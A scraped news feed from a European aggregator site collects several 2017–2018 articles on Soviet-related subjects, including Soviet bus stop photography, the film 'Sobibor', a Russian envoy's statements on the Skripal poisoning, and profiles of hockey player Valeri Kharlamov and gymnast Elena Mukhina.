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]]> https://briefnews.eu/uk-foreign-secretary-likens-eu-to-both-soviet-union-and-a-prison-brings-down-a-twitterstorm/feed/ 0 A list of the similarities between Silicon Valley and the Soviet Union went viral over the weekend https://briefnews.eu/a-list-of-the-similarities-between-silicon-valley-and-the-soviet-union-went-viral-over-the-weekend/ https://briefnews.eu/a-list-of-the-similarities-between-silicon-valley-and-the-soviet-union-went-viral-over-the-weekend/#respond Mon, 09 Jul 2018 17:25:54 +0000 http://briefnews.eu/a-list-of-the-similarities-between-silicon-valley-and-the-soviet-union-went-viral-over-the-weekend/ Soviet Union space postersPublic domain

Silicon Valley has a tendency to be mocked — there’s even an entire HBO comedy centered around the absurdities of living and working there. 

But one Twitter user approached this subject in a new way: comparing the tech capital of the world to the former Soviet Union. Anton Troynikov created a Twitter thread on July 5 that quickly went viral over the weekend, making tongue-in-cheek comparisons between working for a tech giant like Tesla or Amazon and working in the USSR. 

– waiting years to receive a car you ordered, to find that it’s of poor workmanship and quality

– promises of colonizing the solar system while you toil in drudgery day in, day out

Here are some of the highlights: 

‘Living five adults to a two room apartment’

HBO

‘Being told you are constructing utopia while the system crumbles around you’

Shutterstock

“‘Totally not illegal taxi’ taxis by private citizens moonlighting to make ends meet”

Flickr/Jason Tester Guerrilla Futures


See the rest of the story at Business Insider

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]]> https://briefnews.eu/a-list-of-the-similarities-between-silicon-valley-and-the-soviet-union-went-viral-over-the-weekend/feed/ 0 Photographing the brutally beautiful bus stops of the former Soviet Union https://briefnews.eu/photographing-the-brutally-beautiful-bus-stops-of-the-former-soviet-union/ https://briefnews.eu/photographing-the-brutally-beautiful-bus-stops-of-the-former-soviet-union/#respond Sat, 05 May 2018 00:06:43 +0000 http://briefnews.eu/photographing-the-brutally-beautiful-bus-stops-of-the-former-soviet-union/
Christopher Herwig


Christopher Herwig May 4, 2018

After stumbling across a peculiarly artistic bus stop in Lithuania, photographer Christopher Herwig began seeking out these Soviet relics with intent. His photos have since been published across two dedicated books and in magazines and journals around the world.

As told to Oliver Pelling

Around 15 or 16 years ago, I decided to ride my bike from London to St. Petersburg. It might sound like a big trip, but it was pretty leisurely. The roads were flat and easy to ride, and I was hoping to finish the trip with this great collection of photographs. But all I could see were roads and farms. There were no big or spectacular National Geographic-like moments.

To try and kick-start my photographic output, I decided to take at least one photograph every hour, even if it was of the most ordinary or mundane thing, and try and make it look special. Soon, time started to fly by. I took photos of power lines, clothes lines, apartment blocks, things I found on the ground—it was all fair game.

Other times, the design would just boil down to whoever was making the highway at the time, such as the highway workers. The Belarus architect recalled how one of the road workers had one of his wife’s magazines, which was full of patterns for knitting or embroidery. So he suggested working the patterns into some of the bus stops. The local governments would also just hire artists or students and say, ‘OK, we have this stretch of highway. Try and make it beautiful or fun.’

In the end, it seemed to boil down to who was commissioning it and what they wanted. Often, I think they were trying to convey a message, and other times they drew more from regional traditions or customs. In parts of Kurdistan you can find ones that look like a kalpak, the traditional hat. There really isn’t one story that fits all of them—sometimes famous architects or artists worked on them, in other cases they were made by complete amateurs. It was even mentioned that school children helped decorate some of the interiors!

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]]> https://briefnews.eu/photographing-the-brutally-beautiful-bus-stops-of-the-former-soviet-union/feed/ 0 Escape from a Nazi death camp: Film on Soviet prisoner-led revolt in Sobibor to premiere in April https://briefnews.eu/escape-from-a-nazi-death-camp-film-on-soviet-prisoner-led-revolt-in-sobibor-to-premiere-in-april/ https://briefnews.eu/escape-from-a-nazi-death-camp-film-on-soviet-prisoner-led-revolt-in-sobibor-to-premiere-in-april/#respond Sat, 24 Mar 2018 21:38:22 +0000 http://briefnews.eu/escape-from-a-nazi-death-camp-film-on-soviet-prisoner-led-revolt-in-sobibor-to-premiere-in-april/ Based on a true story of how a Soviet officer led a daring revolt at a Nazi death camp in Poland, ‘Sobibor’ is set to screen in late April. The film aims to preserve the historical truth about mass murders of Soviet POWs and Jews.

Located on the Polish territory not far from the Ukrainian border, Sobibor was a large, secret Nazi concentration camp where tens of thousands of Jews from across Europe, as well as Soviet prisoners of war, were exterminated in 1942-1943. The total number of victims at the hand of Nazis amounts to between 170,000 and 250,000.

The movie recalls the history of the uprising led by the Soviet officer Aleksandr Pechersky. Pechersky, who was sent to the camp in 1943, organized a revolt in just three weeks. Some 400 inmates out of 550 Sobibor prisoners joined the uprising. They managed to kill about a dozen SS wardens, as well as several guards, with just axes. Then, they crossed a minefield surrounding the camp to escape.

About 80 people were killed while fleeing and around 170 were found and executed during raids by the Nazis. About 100 were also turned over by the local Nazi collaborators. The revolt organized by Pechersky became the first successful uprising and mass escape from a Nazi death camp.

Following the uprising, the Nazis razed the camp to the ground to hide any traces of its existence. Only 53 participants of the Sobibor escape survived World War II.

The movie was directed by the famous Russian actor Kostantin Khabensky, who also starred as Pechersky. The film is attentive to historic facts. It particularly shows a moment when a Dutch Jewish young woman gave Pechersky her father’s “lucky” shirt right before the revolt and said that it would help him survive. Indeed, the Soviet officer did get through many ordeals and survived World War II. He died in the Russian city of Rostov-on-Don in 1990, aged 81.

A fragment of the film was already shown in the Austrian capital, Vienna, during a commemorative event dedicated to the Sobibor victims, which was organized by the education Institute of the Austrian Freedom Party (FPO) and the Aleksandr Pechersky Foundation. In 2018, the world marks the 75th anniversary of the Sobibor uprising.

“The Sobibor movie is a major and important step on the way to preserving historical truth,” the Russian Ambassador to Austria, Dmitry Lyublinksy, said during the Vienna event. He added that the film is yet another testament to the “horrible atrocities [committed] by Nazi Germany, as well as to the heroic deed of Aleksandr Pechersky and many other [Sobibor] prisoners, many of whom still remain unknown.”

“The historical truth about the heroism of the Soviet people of many nationalities, who saved Europe and the whole world from Fascism at the cost of many lives, should not become a thing of the past,” the ambassador said. Earlier, Russian President Vladimir Putin and Israeli Prime Minister Benjamin Netanyahu also watched a fragment of the movie on International Holocaust Remembrance Day.

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© Anton Denisov

The film’s world premiere is on April 23 and it will go on general release in early May, the head of the Russian Science and Culture centers (Rossotrudnichestvo) in the Polish capital, Igor Zhukovsky, told TASS.

The general release of Sobibor also comes at a time when the Polish authorities seem to be disputing the role of the Soviet people in WWII and particularly the liberation of Poland. In June 2017, Poland introduced a law that bans all propaganda of totalitarian regimes, such as that of the Soviet era, including any mention of names on buildings or other architectural sites. The move was followed by the demolition of several monuments honoring Soviet soldiers, who drove Nazis out of Poland.

Russian officials and politicians have blasted this new legislation, as an attempt to rewrite history and to disgrace the memory of Soviet troops. In November 2017, the Russian ambassador to Poland denounced the actions of the Polish authorities as a “war against memory.”

Poland also barred Moscow from joining an international effort to renovate a World War II museum located on the site of Sobibor. Moscow was initially invited to take part in a joint Poland-Israel-Holland-Slovakia project to create a new memorial on the site.

However, after Russia offered a “significant financial contribution” to the project, Moscow was denied the right to participate in the multinational effort. The Russian Foreign Ministry then slammed the Polish decision as “part of Warsaw’s Russophobia, which it has been openly showing recently.”

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]]> https://briefnews.eu/escape-from-a-nazi-death-camp-film-on-soviet-prisoner-led-revolt-in-sobibor-to-premiere-in-april/feed/ 0 Soviet toxin research was smuggled out and continued in other countries, including US – OPCW envoy https://briefnews.eu/soviet-toxin-research-was-smuggled-out-and-continued-in-other-countries-including-us-opcw-envoy/ https://briefnews.eu/soviet-toxin-research-was-smuggled-out-and-continued-in-other-countries-including-us-opcw-envoy/#respond Sat, 17 Mar 2018 04:37:16 +0000 http://briefnews.eu/soviet-toxin-research-was-smuggled-out-and-continued-in-other-countries-including-us-opcw-envoy/ The ‘Novichok’ nerve agent allegedly used in the Sergei Skripal attack likely came from a country were Russian chemists were taken after the Soviet Union collapsed to continue their research, Russia’s OPCW envoy told RT.

“As for ‘Novichok,’ there was never a scientific program under such a codename in the Russian Federation,” Alexander Shulgin, Russia’s permanent representative at the Organization for the Prohibition of Chemical Weapons (OPCW) said. “However, in Soviet times, research began to produce a new generation of poisonous substances. Such research was carried out not only in the USSR, but also in the US.”

As the Soviet Union collapsed in the early 1990s, foreign “special services took a group of scientists… with the research that existed since the Soviet times” out of the country so that they could go on with their studies of poisonous substances, he said.

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Britain's Foreign Secretary Boris Johnson © Peter Nicholls

“We know the exact countries where such work continued, achieving certain success,” Shulgin said, without naming any. “The positive results of those studies can now be found in open sources.”

“Therefore, we can assume that the source of the substance used [against Skripal] in Salisbury is concealed in one of the countries where this research continued and achieved certain success,” the Russian envoy said.

Russian chemist Vil Mirzayanov, whose claims of Russian complicity have now been widely circulated in Western media, was among those scientists who left Russia and continued their work abroad, Shulgin said. Mirzayanov, who currently lives in the US, was the first to disclose the existence of the ‘Novichok’ nerve agent to the public in a 1992 article. When the Skripal crisis erupted, he said on Facebook that the ‘Novichok’ formula had only been published in his book ‘State Secrets: An Insider’s Chronicle of the Russian Chemical Weapons Program,’ and alleged that only Russia could’ve used such a nerve agent to attack Skripal.

‘UK is afraid we’ll find a catch in their case’

Shulgin also said that there’s currently no dialogue between the Russian and the UK delegations on the Skripal issue at the OPCW headquarters in The Hague. “We’ve made them an offer to start bilateral consultations, but they refuse; also declining to provide any samples to us.”

“Judging by the statement of the head of the British delegation, they view our offer on bilateral consultations as a distraction… as if by proposing those consultations Russia wants to drag out this whole thing and avoid responsibility,” the envoy said.

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© I-Images

“My guess is that our British partners are afraid that, should our experts examine those samples, they will discover some catch in this whole case. And our British partners have absolutely no interest in that.”

“Moreover, we warned them that we’re ready for a meaningful dialogue, but only if the British side backs its accusations against us with convincing proof. In case nothing is presented to us… we’ll proceed from the fact that Britain has nothing and in this case it would have to be held accountable for slander,” he said.

Former Russian-UK double agent Sergei Skripal and his daughter, Yulia, were discovered slumped on a bench in Salisbury in early March. They remain in critical condition in a hospital after being exposed to what UK authorities said was a Soviet-era nerve agent called Novichok.

This led to UK Prime Minister Theresa May accusing Russia of using chemical weapon on British soil and imposing sanctions against Moscow. The Russian side has denied any involvement in the Skripal poisoning and promised to come up with appropriate countermeasures to the British restrictions. Moscow also said it was ready to cooperate with London on investigating the incident, but the UK refused to work with Russia or provide it with any materials of the case.

READ MORE: Who actually poisoned the Skripals? These are some of the top theories

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]]> https://briefnews.eu/soviet-toxin-research-was-smuggled-out-and-continued-in-other-countries-including-us-opcw-envoy/feed/ 0 Star that never fades – Soviet ice hockey legend Valeri Kharlamov would have turned 70 today https://briefnews.eu/star-that-never-fades-soviet-ice-hockey-legend-valeri-kharlamov-would-have-turned-70-today/ https://briefnews.eu/star-that-never-fades-soviet-ice-hockey-legend-valeri-kharlamov-would-have-turned-70-today/#respond Sun, 14 Jan 2018 16:27:21 +0000 http://briefnews.eu/star-that-never-fades-soviet-ice-hockey-legend-valeri-kharlamov-would-have-turned-70-today/

Soviet ice hockey idol Valeri Kharlamov, the World and Olympic Champion still considered one of the best players ever to put on skates, would have turned 70 on January 14 if not for his tragic passing in a car crash 36 years ago.

During his glittering sports career spanning 13 years, Kharlamov won two Olympic gold medals and no fewer than eight world titles, becoming one of the most decorated and recognizable players of his era. He also captivated North American fans and pundits with his stunning performance at the 1972 Summit Series between the USSR and Canada, dispelling the myth of the Canadian team’s invincibility.

Kharlamov was born in 1948 into a family of factory workers, who lived in a dormitory accommodation. They occupied a quarter of the room, which was separated from other inhabitants by a tiny wooden wall. His mother, Begonita Kharlamova, was an ethnic Basque who had moved to the USSR as a refugee when Spain was devastated by civil war in the ‘30s.

Little Valera, as Kharlamov was dubbed, started to skate at the age of five, with kit belonging to his father, who had played ice hockey and bandy as an amateur. In 1961, at the age of 13, Kharlamov was diagnosed with a heart condition, and ordered by doctors to quit any physical activity as in their view it could prove fatal for the young man.

Kharlamov’s father Boris disobeyed the medical recommendations and, keeping it a secret from his wife, brought his son to CSKA sports school, where Valeri started to play ice hockey.

He made his debut for the Red Army main team in October of 1967, though the legendary Anatoli Tarasov, who coached CSKA as well as the national squad, didn’t consider the young player a big asset to his team, sending Kharlamov to the third division team Zvezda (Star) Chebarkul in the Urals.

Having scored 34 goals in 32 games Kharlamov convinced the stubborn Tarasov to change his mind and bring the player back to CSKA, where spent more than 10 years.

At that time CSKA was considered the strongest ice hockey team in the USSR, supplying the national team with extra class players, who represented the Soviet Union on the international scene.

This was the period when the unstoppable ‘Red Machine’ was particularly strong, winning all major events including the World Championships and the Olympic Games.

Kharlamov rose to international prominence during the 1972 Summit Series, when Soviet players, who were considered amateurs, faced seemingly-unbeatable professionals from Canada.

In the opening game, which ended 7-3 in favor of the USSR, Kharlamov scored twice and was named the most valuable player of the night. Following the Summit Series, Canadian defenceman Serge Savard ranked Kharlamov as one of the top 5 players of all time.

NHL scouts, mesmerized by Kharlamov’s unique skating technique, his stickhandling and extraordinary speed, reportedly offered him sizeable contracts with their respective teams.

The Cold War between the USSR and United States did not leave the player an opportunity to perform abroad, as Soviet athletes were prohibited to play in ‘hostile’ capitalist countries. Moreover, all players under the Red Army contract were bound to military service, and their departure from the club would have been considered treason.

Kharlamov, as well as his prominent teammate Vladislav Tretyak, who is still considered one of the best goaltenders of all time, refused several enticing proposals to join the NHL.

Despite the USSR’s overall loss in the Summit Series, the Soviet players received international recognition, proving that other nations can perform at the same level as North Americans.

One of the most devastating moments in Kharlamov’s career happened at the 1980 Olympics in Lake Placid, when the ‘Red Machine’ was sensationally beaten in the decisive game by the USA squad comprised of college students. The game we all know as ‘the Miracle on Ice.’

The young American team was somehow able to stop the Soviets, which hadn’t faltered in four consecutive Olympic cycles. What is less well known is that the accommodation given to the Soviet team was built as a prison, and that the night before the game they were kept awake by loud noises of mysterious origin.

The Soviet team’s second-place finish was viewed as a tragedy back home, as all the players as well as the fans were accustomed to winning every tournament the USSR took part in. Kharlamov and his line mates Vladimir Petrov and Boris Mikhailov were blamed for that disappointing loss which ended the impressive Soviet Olympic winning streak.

Team USSR redeemed themselves for that ‘humiliating’ silver by claiming gold at the following 1984 Games in Sarajevo, Yugoslavia. Kharlamov, however, wasn’t part of the team.

In August of 1981, Kharlamov, who had been left out of the team for the Canada Cup, was killed in a car accident together with his wife Irina and her cousin. His fellow players, who were devastated by his early death, then dedicated the victory at the Cup to their legendary teammate.

Kharlamov was born in an ambulance vehicle, and by a strange twist of fate met his demise in a car – bringing his life full circle.

A puck-shaped memorial stone bearing the legend “The star of Russian hockey faded here” was installed near the scene of the crash.

In recognition of his remarkable achievements Kharlamov, who perished at the tender age of 33, was admitted to the International Ice Hockey Federation Hall of Fame in Toronto, Canada.

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]]> https://briefnews.eu/star-that-never-fades-soviet-ice-hockey-legend-valeri-kharlamov-would-have-turned-70-today/feed/ 0 Plan was floated to wipe Soviet debt in exchange for nuclear disarmament, files show https://briefnews.eu/plan-was-floated-to-wipe-soviet-debt-in-exchange-for-nuclear-disarmament-files-show/ https://briefnews.eu/plan-was-floated-to-wipe-soviet-debt-in-exchange-for-nuclear-disarmament-files-show/#respond Fri, 29 Dec 2017 10:31:24 +0000 http://briefnews.eu/plan-was-floated-to-wipe-soviet-debt-in-exchange-for-nuclear-disarmament-files-show/

Britain was urged to write off billions of dollars of Soviet debt in return for nuclear disarmament, declassified documents show. The 1991 plan was designed to stop nukes falling into the wrong hands after the USSR collapsed.

Then-British Prime Minister John Major received a letter from Jacques Attali, head of the London-based European Bank for Reconstruction and Development (EBRD), suggesting how to deal with the dangers of the Soviet Union’s collapse. “Dear John,” Attali wrote, “as you know the world’s main problems with the Soviet Union today are debt and nuclear weapons.

“I should therefore like to propose that we think about using one problem to solve another, that is to say, the organization of debt-nuclear swap – the partial or total exchange of nuclear weapons against debt relief. The price of world peace might only amount to some 1 percent of the combined annual defense budgets of the G7 [nations].”

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Overall Soviet debt was estimated to be $ 60 billion. There were around 25,000 Soviet nuclear devices. The debt-for-disarmament plan was never tested, appearing to have generated little interest in Downing Street as the Soviet Union’s dissolution accelerated.

The files, released for the first time by the National Archives, also contain records of frank and affectionate conversations between the last Soviet leader, Mikhail Gorbachev, and Major. Two days before his resignation, Gorbachev told Major the Soviet Union was on the point of collapse and may soon no longer exist.

In a phone conversation, he attempted to reassure Major that the nuclear arsenal remained under “strict control,” according to the Independent. Major spoke of Britain’s “enormous affection and respect” for Gorbachev and his wife, adding that his own wife, Norma, was with him and “sent her love.”

A record of the conversation said Gorbachev described the Majors as “great human beings,” adding: “Dear John, I and Raisa have developed an affection for you and Norma. I am allowing myself to be sentimental in saying it but at this time I can allow myself to be sentimental. In our family we still remember what Norma said during your visit to Moscow on your way to China – her reaction and her tears. Thank you for all of that.”

On December 25, 1991, Gorbachev finally announced his resignation, which was followed by a declaration that the Soviet Union had ceased to exist.

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]]> https://briefnews.eu/plan-was-floated-to-wipe-soviet-debt-in-exchange-for-nuclear-disarmament-files-show/feed/ 0 The tragic tale of Soviet gymnastics star Elena Mukhina https://briefnews.eu/the-tragic-tale-of-soviet-gymnastics-star-elena-mukhina/ https://briefnews.eu/the-tragic-tale-of-soviet-gymnastics-star-elena-mukhina/#respond Mon, 25 Dec 2017 16:01:17 +0000 http://briefnews.eu/the-tragic-tale-of-soviet-gymnastics-star-elena-mukhina/ Eleven years ago, former gymnastics star Elena Mukhina, whose life and sports career were ruined by a tragic training accident, passed away in Moscow at the age of 46.

Mukhina, the embodiment of elegance and strength, sacrificed her life and health in attempt to win an Olympic medal for her country. Her tragic story, which stunned the gymnastics world, is a sad reminder of the price top-level athletes can sometimes pay in their bid to reach the pinnacle of their sport.

Mukhina was orphaned at the age of five, after her mother died in an apartment fire. The youngster was raised by her grandmother, Anna, and joined the CSKA sports club, where she started doing artistic gymnastics – something which had always fascinated her.

Up until 1974, she appeared an unremarkable gymnast with only modest achievements. All that changed, however, when she teamed up with coach Mikhail Klimenko, who had come to women’s gymnastics from the men’s team.

Firmly mastering techniques and elements borrowed from men’s gymnastics, Mukhina was transformed by Klimenko into one of the most promising athletes in the Soviet team.

In 1976, she won the Soviet junior all-around title, but after finishing 12th at the National Championships failed to make it to the Olympic squad, which was competing in Montreal.

Undeterred, the gymnast continued to work hard, and shot to fame at the 1977 European Championships, when she claimed silver in the all-around finals, losing only to Romanian star Nadia Comaneci, who triumphed at the Montreal Olympics as the sole gymnast to receive a perfect 10 points for her performance.

At the same championships, Mukhina took three individual titles on the uneven bars, balance beam and floor exercise, impressing the judges with the difficulty of her unique routines.

She made history at the competition by displaying her revolutionary signature elements – a full-twisting layout Korbut flip on the bars and a double back dismount on the beam.

Mukhina stole the limelight at the 1978 World Championships in Strasbourg, France, where she took five medals including the coveted all-around title, beating Olympic champions Comaneci and Nellie Kim.

Having demonstrated powerful and stunning performances, she quickly established herself as an athlete to watch at the 1980 Summer Olympics in Moscow. However, her preparation for the home Games was hampered by a leg injury, which precluded her from participating in the pre-Olympic World Championships.

After missing out, she resumed training before her broken leg had completely healed, in order not to waste time ahead of the 1980 Summer Games, where she was expected to shine.

In a rare interview, Mukhina later confessed that she had been moved from the Central Institute of Traumatology and Orthopedics and taken to the gym, where her coach removed the cast and pressured her to train.

“They took an X-ray and it turned out that the bones had separated. I was on the operating table right after lunch. My coach came the next day and said that I wasn’t conscious and that I could train in a cast,” she said in an interview taken in 1998.

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The 1986 World Champions in pairs skating Ekaterina Gordeyeva and Sergei Grinkov. © Aleksandr Yakovlev

On July 3, 1980, two weeks before the Moscow Olympics, Mukhina’s life changed forever. Her coach Klimenko had left the training camp in Minsk for a few days, leaving the gymnast with other trainers from the national team.

Mukhina, who was learning a new tumbling move, the Thomas Salto, which had only been performed by men, attempted to do it on the floor. She under-rotated the somersault and crash-landed on her chin, crunching her cervical vertebrae, which never knitted again.

She was just 20 years old when the tragic accident left her paralyzed for the rest of her life.

Mukhina was forced to use a wheelchair, and later said the disastrous accident had been inevitable, taking into account the conditions under which she had been pressured to train in.

The former gymnast died in her Moscow apartment in December of 2006, leaving a legacy both triumphant and tragic.

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